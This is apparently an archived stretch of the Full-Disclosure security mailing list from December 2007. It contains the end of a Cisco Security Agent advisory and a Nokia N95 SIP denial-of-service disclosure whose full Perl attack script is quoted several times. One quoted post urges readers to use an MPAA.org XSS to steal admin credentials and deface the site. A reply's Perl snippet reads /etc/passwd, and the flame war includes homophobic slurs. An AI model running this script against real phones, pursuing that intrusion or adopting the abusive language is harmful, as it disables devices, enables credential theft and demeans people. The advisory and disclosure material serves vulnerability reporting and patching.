Cisco Security Agent, it is not affected because TCP ports 139 and 445 have been firewalled by the ACS Solution Engine itself. This blocking of traffic destined to TCP ports 139 and 445 is enabled by default and is not user-configurable. This vulnerability is documented in Cisco bug ID CSCsl00618. The CVE identifier CVE-2007-5580 has been assigned to this vulnerability. Vulnerability Scoring Details +---------------------------- Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided a FAQ to answer additional questions regarding CVSS at http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html. Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at http://intellishield.cisco.com/security/alertmanager/cvss. * Buffer overflow in system driver causes BSOD (CSCsl00618) CVSS Base Score - 10.0 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - Complete Integrity Impact - Complete Availability Impact - Complete CVSS Temporal Score - 8.3 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of the buffer overflow vulnerability described in this advisory may result in an operating system crash or complete system compromise. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Managed Cisco Security Agents +---------------------------- Fixed software for managed Cisco Security Agents is available in the form of hotfixes. The following table contains hotfix information for the current supported versions of Cisco Security Agent. Future versions of Cisco Security Agent will have the fix included. +----------------------------------------+ | Affected Cisco Security | Hotfix | | Agent Version | Version | |--------------------------+-------------| | 4.5.1 | Hotfix | | | 4.5.1.672 | |--------------------------+-------------| | 5.0 | Hotfix | | | 5.0.0.225 | |--------------------------+-------------| | 5.1 | Hotfix | | | 5.1.0.106 | |--------------------------+-------------| | 5.2 | Hotfix | | | 5.2.0.238 | +----------------------------------------+ Cisco Security Agent hotfixes can be downloaded from the following location: http://www.cisco.com/cgi-bin/tablebuild.pl/csahf-crypto?psrtdcat20e2 Cisco Security Agent for Cisco IP Communications Products +-------------------------------------------------------- The following table contains information about Cisco Security Agent fixes for Cisco IP Communications products: +--------------------------------------------+ | Affected | | | Cisco | | | Security | Fixed Software | | Agent | | | Version | | |----------+---------------------------------| | 4.5.1 | CUCM-CSA-4.5.1.672-2.0.7-k9.exe | |----------+---------------------------------| | 5.0 | CUCM-CSA-5.0.0.225-3.0.7-k9.exe | +--------------------------------------------+ These fixes can be downloaded from the following location: http://www.cisco.com/cgi-bin/tablebuild.pl/cmva-3des?psrtdcat20e2 Cisco Security Agent for Cisco Security Manager +---------------------------------------------- A fixed standalone Cisco Security Agent for the Cisco Security Manager is provided in the form of the hotfix fcs-csamc-hotfix-5.2.0.238-w2k3-k9-CSM.zip, which is available for download from: http://www.cisco.com/cgi-bin/tablebuild.pl/csm-app?psrtdcat20e2. Workarounds =========== General Considerations +--------------------- Filters that deny SMB protocol packets using TCP ports 139 and 445 should be deployed as part of a transit access control list (tACL) policy for protection from traffic that enters the network at ingress access points. This policy should be configured to protect the network device where the filter is applied and other devices behind it. Filters for SMB protocol packets using TCP ports 139 and 445 should also be deployed in front of vulnerable hosts so that traffic is allowed only from trusted clients. Additional information about tACLs is available in "Transit Access Control Lists : Filtering at Your Edge": http://www.cisco.com/en/US/tech/tk648/tk361/technologies_white_paper09186a00801afc76.shtml Additional mitigation techniques that can be deployed on Cisco devices within the network are available in the Cisco Applied Mitigation Bulletin companion document for this advisory: http://www.cisco.com/warp/public/707/cisco-amb-20071205-csa.shtml Cisco Security Agent Rule to Block TCP Port 139 and 445 Traffic +-------------------------------------------------------------- Workstations that do not have a need to provide SMB services, such as services for sharing directories or files and printers, can be protected by configuring a Cisco Security Agent rule that blocks all traffic to TCP ports 139 and 445 (the SMB ports). Such a rule exists in versions of Cisco Security Agent that include the Network Personal Firewall policy. The specific rule can be found by searching rules for one that has the description "All applications, server for SMB services (offering network shares)" or by opening the Personal Firewall Module rule module (attached to the Network Personal Firewall policy) and editing the rule that has this description. This rule is enabled by default but the default action must be changed from Allow to a High Priority Deny. If the Network Personal Firewall policy is not available, administrators can create a network access rule that blocks traffic to TCP ports 139 and 445. To do this, the rule must be configured as a Deny rule so traffic is denied when the system on which Cisco Security Agent is installed attempts to act as a server for network services on ports TCP 139 and 445. For additional information on configuring Cisco Security Agent network access control rules, reference the following document: http://www.cisco.com/en/US/docs/security/csa/csa52/user_guide/Chap6.html#wp1199624. Caution: Blocking TCP ports 139 and 445 on a Windows system will cause the Windows system to stop providing SMB services. Before implementing the workarounds presented in this section, administrators are advised to ensure that they understand the implications of disabling SMB services on users' workstations. Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt at cisco.com or security-alert at cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows: * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability described in this advisory. This vulnerability was reported to Cisco by the NSFocus Security Team (http://www.nsfocus.com). Cisco would like to thank the NSFocus Security Team for reporting this vulnerability and working with us towards resolution of this problem. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. 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All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHVuh586n/Gc8U/uARAv1iAJ9Bd0AHbbJYSVDHCjunVqSt/8wuTwCfU2qj HAfK0DW2cJ4+nR9hH2nOOmk= =ZQXL -----END PGP SIGNATURE----- From reepex at gmail.com Wed Dec 5 19:21:06 2007 From: reepex at gmail.com (reepex) Date: Wed, 5 Dec 2007 13:21:06 -0600 Subject: [Full-disclosure] Nokia N95 cellphone remote DoS using the SIP Stack In-Reply-To: <003c01c83760$faac19b0$5e0c5198@Crocodile> References: <003c01c83760$faac19b0$5e0c5198@Crocodile> Message-ID: So almighty Phd what is your thesis exactly? To me it seems to be 'how to run a fuzzer then write crappy perl scripts to exploit DoS conditions' does this properly summarize your phd credentials? I guess you could tack on 'after writing the crappy scripts, flood mailing lists with our crap, and get made fun of' I am sure you will serve the academic community great one day when teach "hacking" classes revolving around the latest editions of hacking exposed On Dec 5, 2007 11:05 AM, Radu State wrote: > Nokia N95 cellphone remote DoS using the SIP Stack > > > > Severity: > > High ? Denial of Service > > > > Hardware: > > Nokia N95 > > > > Firmware: > > Tested version: Nokia RM-159 V 12.0.013 > > > > Notification: > > Vulnerability found: 11 September 2007 > > Contact Nokia Support: 12 September 2007 / None reply Contact Nokia > Security Support: 19 September 2007 / None reply > > > > Vulnerability Synopsis: > > If the device has the SIP Phone client activated, a sequence of SIP > messages turn the device in an inconsistent state where the user is not able > to operate it anymore until it reboots. > > > > The sequence of messages consists in 2 different SIP Dialogs where the > first initiates an INVITE transaction but immediately closes it (in an > anticipated manner). While, the second transaction initiates a normal INVITE > transaction that trigger the vulnerability of the target. > > > > The sequence of messages is illustrated below. > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > X ------------------------- CANCEL -----------------------> Nokiav12 > > X <----------------- OK (to the Cancel) ------------------- Nokiav12 > > X <---------------- 487 Request Terminated ---------------- Nokiav12 > > > > --------New Dialog-------- > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > X <---------------------- 180 Trying ---------------------- Nokiav12 > > > > ---- The device does not work properly anymore ---- > > > > Impact: > > A remote entity can take down all the services of the cell phone > > > > Resolution: > > As we did not get any proper reply from Nokia about the subject, the best > way will be to disable the SIP Client > > > > Credits: > > Humberto J. Abdelnur (Ph.D Student) > > Radu State (Ph.D) > > Olivier Festor (Ph.D) > > > > This vulnerability was identified by the Madynes research team at INRIA > Lorraine, using KiF the Madynes VoIP fuzzer. > > http://madynes.loria.fr/ > > > > > > Proof of Concept: > > > > A perl script (nokiav12.pl) is attached to this mail. Before launching > > it, the SIP phone has to be initialed in the target device > > > > Command: > > perl nokiav12.pl > > > > Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu > > > > > > #!/usr/bin/perl > > > > ################################################## > > # Vulnerabily discovered using KiF ~ Kiph # > > # # > > # Authors: # > > # Humberto J. Abdelnur (Ph.D Student) # > > # Radu State (Ph.D) # > > # Olivier Festor (Ph.D) # > > # # > > # Madynes Team, LORIA - INRIA Lorraine # > > # http://madynes.loria.fr # > > ################################################## > > > > use IO::Socket::INET; > > use String::Random; > > > > die "Usage $0 " > > unless ($ARGV[3]); > > > > $targetUser = $ARGV[1]; > > $targetIP = $ARGV[0]; > > > > $attackerUser = $ARGV[3]; > > $attackerIP= $ARGV[2]; > > > > $socket=new IO::Socket::INET->new( > > Proto=>'udp', > > PeerPort=>5060, > > PeerAddr=>$targetIP, > > LocalPort=>5060); > > > > $foo = new String::Random; > > $callid= $foo->randpattern("CCccnCn"); > > $cseq = $foo->randregex('\d\d\d\d'); > > > > $sdp = "v=0\r > > o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r > > s=-\r > > c=IN IP4 $attackerIP\r > > t=0 0\r > > m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r > > a=sendrecv\r > > a=ptime:20\r > > a=maxptime:200\r > > a=fmtp:96 mode-change-neighbor=1\r > > a=fmtp:18 annexb=no\r > > a=fmtp:98 0-15\r > > a=rtpmap:96 AMR/8000/1\r > > a=rtpmap:0 PCMU/8000/1\r > > a=rtpmap:8 PCMA/8000/1\r > > a=rtpmap:97 iLBC/8000/1\r > > a=rtpmap:18 G729/8000/1\r > > a=rtpmap:98 telephone-event/8000/1\r > > a=rtpmap:13 CN/8000/1\r > > "; > > > > $sdplen= length $sdp; > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > From: ;tag=1\r > > To: \r > > Call-ID: $callid\@$attackerIP\r > > CSeq: $cseq INVITE\r > > Max-Forwards: 70\r > > Contact: \r > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > MESSAGE\r > > Content-Type: application/sdp\r > > Content-Length: $sdplen\r > > \r > > $sdp"; > > $socket->send($msg); > > $text = ''; > > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){ > > $socket->recv($text,1024,0); > > } > > > > $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > From: ;tag=1\r > > To: ;tag=1\r > > Call-ID: $callid\@$attackerIP\r > > CSeq: $cseq CANCEL\r > > Max-Forwards: 70\r > > Content-Length: 0\r > > \r > > "; > > $socket->send($msg); > > time.sleep(1); > > $callid= $foo->randpattern("CCccnCn"); > > $cseq = $foo->randregex('\d\d\d\d'); > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r > > From: ;tag=2\r > > To: \r > > Call-ID: $callid\@$attackerIP\r > > CSeq: $cseq INVITE\r > > Contact: \r > > Max-Forwards: 70\r > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > MESSAGE\r > > Content-Type: application/sdp\r > > Content-Length: $sdplen\r > > \r > > $sdp"; > > $socket->send($msg); > > > > > > > > No virus found in this outgoing message. > Checked by AVG Free Edition. > Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: > 04/12/2007 19:31 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/f3e2a2ad/attachment.html From i.am.hambeast at gmail.com Wed Dec 5 19:31:07 2007 From: i.am.hambeast at gmail.com (Ham Beast) Date: Wed, 5 Dec 2007 11:31:07 -0800 Subject: [Full-disclosure] 0day XSS for MPAA.org In-Reply-To: References: Message-ID: Ol? Kristian Hermafroditas you useless fagot, shoes of clown are apparent. Hambeast returned to specifically noted that, for someone who is trying really hard to find a job (and NOT find) you really are much not doing to endear themselves to potential employers. You pick a fight with Microsoft (question: who is one of the largest in the industry employers of 3rd party security consultants?) And then post into the full disclosure all proud that you found a XSS on a site that has no visibility LOGIN PAGE OR NOTHING and encourage the hacking for this internet site and committing criminal activities. His signature is so apt. You have no special talent. Or even any skills or talents at all. Indeed, the only thing hambeast can see that Kristian Hermafroditas is good is the appearance of a fucking idiot and also to release the names of several other people in the security industry that Hambeast believe has most likely never even heard of your stupid faggoty auto. I encourage everyone to the google for the "exploits", written by Kristian Hermafroditas. It is very good for some laughs believe! Basicamente, apply to Symantec as a helpdesk or support customer is best chance for future you. Moreover, Hambeast would like to extend Greetings and Salutations on the return of GOBBLES, I am very anxious to see your Matasano on blog. Finally someone says Thomas Ptacek to SHUT THE UP FUCK AND CLOSE HIS FAT FUCKING MOUTH STUPID. Hoorah! (Hambeast the name fat stupid mouth Thomas Ptacek is from !) On 12/4/07, Kristian Erik Hermansen wrote: > As many of you have heard, the MPAA themselves are violating the GNU > GPL. Such hypocrisy from a company which claims they adhere to > copyrights :-) In protest, I took exactly 7 seconds to locate an XSS > in their website and am posting it for your perusal. Maybe someone > can use it in an email to an MPAA staff member, and perhaps can modify > the payload to steal credentials for some MPAA admin interface. And > perhaps then, after gaining MPAA credentials, this person can modify > the MPAA website. And perhaps after that, we can all laugh at the > MPAA yet again in their quest to sue 12 year old kids for downloading > MP3 files... > > There are many more XSS on their site. Everyone knows that if you > find one bug on top (without much effort), there are many more > security issues hiding beneath the surface. I leave it up to the > MPPA-haters out there to dig deeper and use it to "influence" the MPAA > website... > > Here's one for the 'txtsearch' search field on the main page at > MPAA.org in the top right-hand corner where it says 'Find the rating > of a film'... > ERR"> > -- > Kristian Erik Hermansen > "I have no special talent. I am only passionately curious." > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From coderman at gmail.com Wed Dec 5 19:54:26 2007 From: coderman at gmail.com (coderman) Date: Wed, 5 Dec 2007 11:54:26 -0800 Subject: [Full-disclosure] GOBBLES or n3td3v Message-ID: <4ef5fec60712051154k1bdbe14dn4d82911220979e2@mail.gmail.com> On Dec 5, 2007 11:31 AM, Ham Beast wrote: > ... > Hambeast would like to extend Greetings and Salutations on the return > of GOBBLES silly hambeast, it is not GOBBLES until blessed by his majesty, Dr. Neal Krawetz, PhD. "L'enfer, c'est les autres" - Sartre From reepex at gmail.com Wed Dec 5 19:54:54 2007 From: reepex at gmail.com (reepex) Date: Wed, 5 Dec 2007 13:54:54 -0600 Subject: [Full-disclosure] Nokia N95 cellphone remote DoS using the SIP Stack In-Reply-To: <003c01c83760$faac19b0$5e0c5198@Crocodile> References: <003c01c83760$faac19b0$5e0c5198@Crocodile> Message-ID: On Dec 5, 2007 11:05 AM, Radu State wrote: > # Humberto J. Abdelnur (Ph.D Student) # > > # Radu State (Ph.D) # > > # Olivier Festor (Ph.D) # > lol...... "wow" is all i can say to this.. let me enlighten you on the basics of Perl > $text = ''; > http://perldoc.perl.org/functions/my.html if you understood perl you would see that this line shows your complete lack of ability as $text could be declared as its used in the loop to demonstrate such amazing techniques such as declaring variables properly i will demonstrate this code die ($!) unless open my $file,'<',"/etc/passwd"; my @b = <$file>; while(my $a = shift @b){ print $a; } notice the "my $a" ... please take a few minutes to reflect on this code as your fragile phd minds can only handle so much but soon it will come to you > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){ > from perlretut ( http://perldoc.perl.org/perlretut.html ) "The sense of the match can be reversed by using !~ operator: print "It doesn't match\n" if "Hello World" !~ /World/;" Understanding that you do not know how to code i will make it easier for you: "while ($text !~ /^SIP\/2.0 100(.\r\n)*/ ){" -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071205/b4cbc0a7/attachment.html From dudevanwinkle at gmail.com Wed Dec 5 20:00:14 2007 From: dudevanwinkle at gmail.com (Dude VanWinkle) Date: Wed, 5 Dec 2007 15:00:14 -0500 Subject: [Full-disclosure] Anyone have a reason for 2x the email flow today? In-Reply-To: <18D45F1BCFBA494D87CE4CAFE370C650C52397@email.intranet.middlesexcc.edu> References: <18D45F1BCFBA494D87CE4CAFE370C650C52397@email.intranet.middlesexcc.edu> Message-ID: On Dec 4, 2007 8:27 AM, Maloney, Michael wrote: > I've noticed a 30K increase per day in traffic.. I was finally able to do the numbers: We do 1,000,000 emails a day We did 1.3 million that day.. Something must have happened... -JP From state at loria.fr Wed Dec 5 19:57:13 2007 From: state at loria.fr (state at loria.fr) Date: Wed, 5 Dec 2007 20:57:13 +0100 Subject: [Full-disclosure] Nokia N95 cellphone remote DoS using the SIP Stack In-Reply-To: References: <003c01c83760$faac19b0$5e0c5198@Crocodile> Message-ID: <1196884633.47570299ee835@www.loria.fr> hi Reepex, I do not understand why are frustrated about a computer science degree. Maybe, someone got dropped out of a degree programm and some psychological trauma gets activated when seeing a Ph.D? If you like it or not, in order to get a computer science degree, you will have to take classes, and most classes are taught by Ph.Ds. I will not argue with you on why I use the Ph.D in my signature, but if you really want to know, look at our research papers published in academic journals/conferences. (If you do not find them, I can send them to you). If you will ever understand the contents, then you will understand what are our credentials..:) This will probably never happen. At least, I use a signature and a real name and do not hide behind a gmail account. Meanwhile try yourself to find at least one vulnerability and enjoy Perl programming, it seemes your computer science skills are somehow in this area :) Greetings RS Selon reepex : > So almighty Phd what is your thesis exactly? > > To me it seems to be 'how to run a fuzzer then write crappy perl scripts > to exploit DoS conditions' > > does this properly summarize your phd credentials? > > I guess you could tack on 'after writing the crappy scripts, flood mailing > lists with our crap, and get made fun of' > > I am sure you will serve the academic community great one day when teach > "hacking" classes revolving around the latest editions of hacking exposed > > > > On Dec 5, 2007 11:05 AM, Radu State wrote: > > > Nokia N95 cellphone remote DoS using the SIP Stack > > > > > > > > Severity: > > > > High ? Denial of Service > > > > > > > > Hardware: > > > > Nokia N95 > > > > > > > > Firmware: > > > > Tested version: Nokia RM-159 V 12.0.013 > > > > > > > > Notification: > > > > Vulnerability found: 11 September 2007 > > > > Contact Nokia Support: 12 September 2007 / None reply Contact Nokia > > Security Support: 19 September 2007 / None reply > > > > > > > > Vulnerability Synopsis: > > > > If the device has the SIP Phone client activated, a sequence of SIP > > messages turn the device in an inconsistent state where the user is not > able > > to operate it anymore until it reboots. > > > > > > > > The sequence of messages consists in 2 different SIP Dialogs where the > > first initiates an INVITE transaction but immediately closes it (in an > > anticipated manner). While, the second transaction initiates a normal > INVITE > > transaction that trigger the vulnerability of the target. > > > > > > > > The sequence of messages is illustrated below. > > > > > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > > > X ------------------------- CANCEL -----------------------> Nokiav12 > > > > X <----------------- OK (to the Cancel) ------------------- Nokiav12 > > > > X <---------------- 487 Request Terminated ---------------- Nokiav12 > > > > > > > > --------New Dialog-------- > > > > > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > > > X <---------------------- 180 Trying ---------------------- Nokiav12 > > > > > > > > ---- The device does not work properly anymore ---- > > > > > > > > Impact: > > > > A remote entity can take down all the services of the cell phone > > > > > > > > Resolution: > > > > As we did not get any proper reply from Nokia about the subject, the best > > way will be to disable the SIP Client > > > > > > > > Credits: > > > > Humberto J. Abdelnur (Ph.D Student) > > > > Radu State (Ph.D) > > > > Olivier Festor (Ph.D) > > > > > > > > This vulnerability was identified by the Madynes research team at INRIA > > Lorraine, using KiF the Madynes VoIP fuzzer. > > > > http://madynes.loria.fr/ > > > > > > > > > > > > Proof of Concept: > > > > > > > > A perl script (nokiav12.pl) is attached to this mail. Before launching > > > > it, the SIP phone has to be initialed in the target device > > > > > > > > Command: > > > > perl nokiav12.pl > > > > > > > > Eg. perl nokiav12.pl 192.168.1.119 lupilu 192.168.1.2 tucu > > > > > > > > > > > > #!/usr/bin/perl > > > > > > > > ################################################## > > > > # Vulnerabily discovered using KiF ~ Kiph # > > > > # # > > > > # Authors: # > > > > # Humberto J. Abdelnur (Ph.D Student) # > > > > # Radu State (Ph.D) # > > > > # Olivier Festor (Ph.D) # > > > > # # > > > > # Madynes Team, LORIA - INRIA Lorraine # > > > > # http://madynes.loria.fr # > > > > ################################################## > > > > > > > > use IO::Socket::INET; > > > > use String::Random; > > > > > > > > die "Usage $0 " > > > > unless ($ARGV[3]); > > > > > > > > $targetUser = $ARGV[1]; > > > > $targetIP = $ARGV[0]; > > > > > > > > $attackerUser = $ARGV[3]; > > > > $attackerIP= $ARGV[2]; > > > > > > > > $socket=new IO::Socket::INET->new( > > > > Proto=>'udp', > > > > PeerPort=>5060, > > > > PeerAddr=>$targetIP, > > > > LocalPort=>5060); > > > > > > > > $foo = new String::Random; > > > > $callid= $foo->randpattern("CCccnCn"); > > > > $cseq = $foo->randregex('\d\d\d\d'); > > > > > > > > $sdp = "v=0\r > > > > o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r > > > > s=-\r > > > > c=IN IP4 $attackerIP\r > > > > t=0 0\r > > > > m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r > > > > a=sendrecv\r > > > > a=ptime:20\r > > > > a=maxptime:200\r > > > > a=fmtp:96 mode-change-neighbor=1\r > > > > a=fmtp:18 annexb=no\r > > > > a=fmtp:98 0-15\r > > > > a=rtpmap:96 AMR/8000/1\r > > > > a=rtpmap:0 PCMU/8000/1\r > > > > a=rtpmap:8 PCMA/8000/1\r > > > > a=rtpmap:97 iLBC/8000/1\r > > > > a=rtpmap:18 G729/8000/1\r > > > > a=rtpmap:98 telephone-event/8000/1\r > > > > a=rtpmap:13 CN/8000/1\r > > > > "; > > > > > > > > $sdplen= length $sdp; > > > > > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > > > From: ;tag=1\r > > > > To: \r > > > > Call-ID: $callid\@$attackerIP\r > > > > CSeq: $cseq INVITE\r > > > > Max-Forwards: 70\r > > > > Contact: \r > > > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > > > MESSAGE\r > > > > Content-Type: application/sdp\r > > > > Content-Length: $sdplen\r > > > > \r > > > > $sdp"; > > > > $socket->send($msg); > > > > $text = ''; > > > > while (not $text =~ /^SIP\/2.0 100(.\r\n)*/ ){ > > > > $socket->recv($text,1024,0); > > > > } > > > > > > > > $msg = "CANCEL sip:$targetUser\@$targetIP SIP/2.0\r > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1\r > > > > From: ;tag=1\r > > > > To: ;tag=1\r > > > > Call-ID: $callid\@$attackerIP\r > > > > CSeq: $cseq CANCEL\r > > > > Max-Forwards: 70\r > > > > Content-Length: 0\r > > > > \r > > > > "; > > > > $socket->send($msg); > > > > time.sleep(1); > > > > $callid= $foo->randpattern("CCccnCn"); > > > > $cseq = $foo->randregex('\d\d\d\d'); > > > > $msg = "INVITE sip:$targetUser\@$targetIP SIP/2.0\r > > > > Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK2\r > > > > From: ;tag=2\r > > > > To: \r > > > > Call-ID: $callid\@$attackerIP\r > > > > CSeq: $cseq INVITE\r > > > > Contact: \r > > > > Max-Forwards: 70\r > > > > Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY, > > > > MESSAGE\r > > > > Content-Type: application/sdp\r > > > > Content-Length: $sdplen\r > > > > \r > > > > $sdp"; > > > > $socket->send($msg); > > > > > > > > > > > > > > > > No virus found in this outgoing message. > > Checked by AVG Free Edition. > > Version: 7.5.503 / Virus Database: 269.16.14/1171 - Release Date: > > 04/12/2007 19:31 > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > From reepex at gmail.com Wed Dec 5 20:14:59 2007 From: reepex at gmail.com (reepex) Date: Wed, 5 Dec 2007 14:14:59 -0600 Subject: [Full-disclosure] Nokia N95 cellphone remote DoS using the SIP Stack In-Reply-To: <1196884633.47570299ee835@www.loria.fr> References: <003c01c83760$faac19b0$5e0c5198@Crocodile> <1196884633.47570299ee835@www.loria.fr> Message-ID: http://hal.inria.fr/index.php?view_this_doc=inria-00172056&extended_view=1&version=&halsid=5561bd637e62791f1744a158d907343a Could you please send me this document so i can learn from you how to nmap? I would very much appreciate reading this paper so I can learn the basics of a high level pen test. http://hal.inria.fr/inria-00168415/fr/ I would also love this paper. Based on the times you mention the word "model" and "proven" it seems your product must be better then selinux itself. The rest of your papers were modeled around mobile ad-hoc networks and "key managment in blah blah" which are areas generally reserved for academics who cannot publish anything useful so it seems appropriate that the bulk of your publications are in this field. On Dec 5, 2007 1:57 PM, wrote: > hi Reepex, > > I do not understand why are frustrated about a computer science degree. > Maybe, > someone got dropped out of a degree programm and some psychological trauma > gets > activated when seeing a Ph.D? > > If you like it or not, in order to get a computer science degree, you will > have > to take classes, and most classes are taught by Ph.Ds. > > I will not argue with you on why I use the Ph.D in my signature, but if > you > really want to know, look at our research papers published in academic > journals/conferences. (If you do not find them, I can send them to you). > If you will ever understand the contents, then you will understand what > are our > credentials..:) This will probably never happen. > > At least, I use a signature and a real name and do not hide behind a gmail > account. > > Meanwhile try yourself to find at least one vulnerability and enjoy Perl > programming, it seemes your computer science skills are somehow in this > area :) > > > Greetings > > > > > RS > > > Selon reepex : > > > So almighty Phd what is your thesis exactly? > > > > To me it seems to be 'how to run a fuzzer then write crappy perl > scripts > > to exploit DoS conditions' > > > > does this properly summarize your phd credentials? > > > > I guess you could tack on 'after writing the crappy scripts, flood > mailing > > lists with our crap, and get made fun of' > > > > I am sure you will serve the academic community great one day when teach > > "hacking" classes revolving around the latest editions of hacking > exposed > > > > > > > > On Dec 5, 2007 11:05 AM, Radu State wrote: > > > > > Nokia N95 cellphone remote DoS using the SIP Stack > > > > > > > > > > > > Severity: > > > > > > High ? Denial of Service > > > > > > > > > > > > Hardware: > > > > > > Nokia N95 > > > > > > > > > > > > Firmware: > > > > > > Tested version: Nokia RM-159 V 12.0.013 > > > > > > > > > > > > Notification: > > > > > > Vulnerability found: 11 September 2007 > > > > > > Contact Nokia Support: 12 September 2007 / None reply Contact Nokia > > > Security Support: 19 September 2007 / None reply > > > > > > > > > > > > Vulnerability Synopsis: > > > > > > If the device has the SIP Phone client activated, a sequence of SIP > > > messages turn the device in an inconsistent state where the user is > not > > able > > > to operate it anymore until it reboots. > > > > > > > > > > > > The sequence of messages consists in 2 different SIP Dialogs where the > > > first initiates an INVITE transaction but immediately closes it (in an > > > anticipated manner). While, the second transaction initiates a normal > > INVITE > > > transaction that trigger the vulnerability of the target. > > > > > > > > > > > > The sequence of messages is illustrated below. > > > > > > > > > > > > X ------------------------- INVITE -----------------------> Nokiav12 > > > > > > X <---------------------- 100 Trying ---------------------- Nokiav12 > > > > > > X ------------------------- CANCEL -----------------------> Nokiav12 > > > > > > X <----------------- OK (to the Cancel) ------------------- Nokiav12 > > > > 